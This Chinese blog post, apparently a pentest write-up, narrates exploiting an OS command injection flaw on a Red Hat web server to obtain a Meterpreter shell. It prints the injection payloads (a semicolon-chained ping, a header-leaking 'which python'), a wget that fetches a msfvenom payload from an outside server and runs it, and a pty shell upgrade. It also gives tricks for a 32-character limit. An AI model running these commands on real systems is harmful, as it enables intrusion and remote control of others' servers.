OS命令注入实战:从挫折到获取Shell的完整历程

本文详细记录了在Red Hat Linux系统上通过OS命令注入漏洞获取Meterpreter会话的全过程,包括32字符长度限制绕过、响应头数据泄露利用、Python反弹shell技巧等实战技术细节。

OS命令注入实战:从挫折到获取Shell的完整历程

Carrie Roberts //

OS命令注入非常有趣。最近我在测试某个Web应用时发现了这个漏洞(感谢Burp Suite扫描器)。虽然预感到即将获得shell,但实际过程却比预期困难得多。以下是我的探索历程和技术收获。

初始发现

已知目标运行在Red Hat Linux的Apache服务器上。通过以下注入成功触发外部服务器(1.2.3.4)的ICMP响应,分号用于分隔原始命令:

1
;ping -c 3 1.2.3.4

使用tcpdump验证请求:

1
tcpdump -nni eth0 icmp

遇到的障碍

  1. 32字符长度限制:通过反复测试发现命令被截断,推测因数据库存储限制
  2. 非常规响应机制/etc/passwd内容意外出现在响应头而非响应体
  3. 环境限制:无netcat可用,但发现Python环境

关键技术突破

  1. 响应头注入技巧
1
echo -n s:;which python  # 输出会附加到响应头
  1. Python反弹shell
  • 使用msfvenom生成payload
  • 必须禁用stage编码:set EnableStageEncoding false
  • 通过wget传输payload:
1
2
wget "myserver.net" -O ~/z
python ~/z
  1. TTY升级
1
python -c 'import pty; pty.spawn("/bin/sh")'

经验总结

  • 注意非常规输出渠道(如HTTP头)
  • 长度限制下需精简命令
  • Python是受限环境中的利器
  • 真实环境往往比理论更复杂

这就是黑客攻防的本质——看似简单的漏洞,实战中总会遇到意想不到的挑战。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计